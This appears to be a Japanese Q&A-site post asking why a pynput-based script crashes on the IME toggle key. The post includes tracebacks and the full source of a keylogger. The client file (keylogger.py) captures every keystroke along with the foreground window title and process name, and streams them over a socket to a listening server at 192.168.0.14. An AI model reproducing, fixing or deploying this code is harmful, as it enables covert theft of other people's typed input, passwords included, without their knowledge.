前提・実現したいこと
client.pyが取得したキーをserver.pyに渡すプログラムを書いています。
その時に、日本語と英語を変換するキー(ESCの近くにあるやつ)を入力するとclient.pyでエラーが発生します。
ちなみにキーはNONEとされていました。
これを回避する方法を教えてください。
発生している問題・エラーメッセージ
Unhandled exception in listener callback Traceback (most recent call last): File "C:\Users\nodan\Desktop\keylogger.py", line 49, in on_press s.send(b.encode("cp932")) AttributeError: 'NoneType' object has no attribute 'encode' During handling of the above exception, another exception occurred: Traceback (most recent call last): File "C:\Users\nodan\AppData\Roaming\Python\Python37\site-packages\pynput\_util\__init__.py", line 162, in inner return f(self, *args, **kwargs) File "C:\Users\nodan\AppData\Roaming\Python\Python37\site-packages\pynput\keyboard\_win32.py", line 274, in _process self.on_press(key) File "C:\Users\nodan\AppData\Roaming\Python\Python37\site-packages\pynput\_util\__init__.py", line 78, in inner if f(*args) is False: File "C:\Users\nodan\Desktop\keylogger.py", line 51, in on_press if key.name == "shift" or key.name == "alt_l": AttributeError: 'KeyCode' object has no attribute 'name' Traceback (most recent call last): File "C:\Users\nodan\Desktop\keylogger.py", line 49, in on_press s.send(b.encode("cp932")) AttributeError: 'NoneType' object has no attribute 'encode' During handling of the above exception, another exception occurred: Traceback (most recent call last): File "C:\Users\nodan\Desktop\keylogger.py", line 66, in <module> listener.join() File "C:\Users\nodan\AppData\Roaming\Python\Python37\site-packages\pynput\_util\__init__.py", line 210, in join six.reraise(exc_type, exc_value, exc_traceback) File "C:\Users\nodan\AppData\Roaming\Python\Python37\site-packages\six.py", line 702, in reraise raise value.with_traceback(tb) File "C:\Users\nodan\AppData\Roaming\Python\Python37\site-packages\pynput\_util\__init__.py", line 162, in inner return f(self, *args, **kwargs) File "C:\Users\nodan\AppData\Roaming\Python\Python37\site-packages\pynput\keyboard\_win32.py", line 274, in _process self.on_press(key) File "C:\Users\nodan\AppData\Roaming\Python\Python37\site-packages\pynput\_util\__init__.py", line 78, in inner if f(*args) is False: File "C:\Users\nodan\Desktop\keylogger.py", line 51, in on_press if key.name == "shift" or key.name == "alt_l": AttributeError: 'KeyCode' object has no attribute 'name'
該当のソースコード
###server.py
import socket server = socket.socket() server.bind(("192.168.0.14", 6666)) server.listen(1) c , a = server.accept() while True: print(c.recv(126).decode("cp932"))
###client.py
from pynput import keyboard from ctypes import * from ctypes.wintypes import * import socket s = socket.socket() s.connect(("192.168.0.14", 6666)) proc_status = None def get_name_by_pid(pid): PROCESS_ALL_ACCESS = 0x1f0fff hProcess = ctypes.windll.kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, pid) if hProcess == 0: return None buf = ctypes.create_unicode_buffer(1024) ret = ctypes.windll.psapi.GetModuleBaseNameW(hProcess, 0, buf, len(buf)) if ret == 0: return None return buf.value def get_hwnd_n_pid(): hwnd = windll.user32.GetForegroundWindow() pid = ctypes.c_ulong() windll.user32.GetWindowThreadProcessId(hwnd, ctypes.byref(pid)) return hwnd, pid.value def get_window_title(hwnd, pid): length = windll.user32.GetWindowTextLengthW(hwnd) buf = create_unicode_buffer(length + 1) windll.user32.GetWindowTextW(hwnd, buf, length + 1) return buf.value def on_press(key): global proc_status try: hwnd, pid = get_hwnd_n_pid() pid_name = get_name_by_pid(pid) window_title = get_window_title(hwnd, pid) if proc_status == window_title: pass else: print("pid:{0} [{1}] [{2}]".format(pid, pid_name, window_title)) a = ("pid:{0} [{1}] [{2}]".format(pid, pid_name, window_title)) s.send(a.encode("cp932")) proc_status = window_title print(key.char, end="") b = key.char s.send(b.encode("cp932")) except AttributeError: if key.name == "shift" or key.name == "alt_l": print(" [{}]".format(key.name), end="") c = (" [{}]".format(key.name)) s.send(c.encode("cp932")) else: print(" [{}]".format(key.name)) d = (" [{}]".format(key.name)) s.send(d.encode("cp932")) def on_release(key): if key == keyboard.Key.esc: return False with keyboard.Listener( on_press=on_press, on_release=on_release) as listener: listener.join()
回答1件
あなたの回答
tips
プレビュー
バッドをするには、ログインかつ
こちらの条件を満たす必要があります。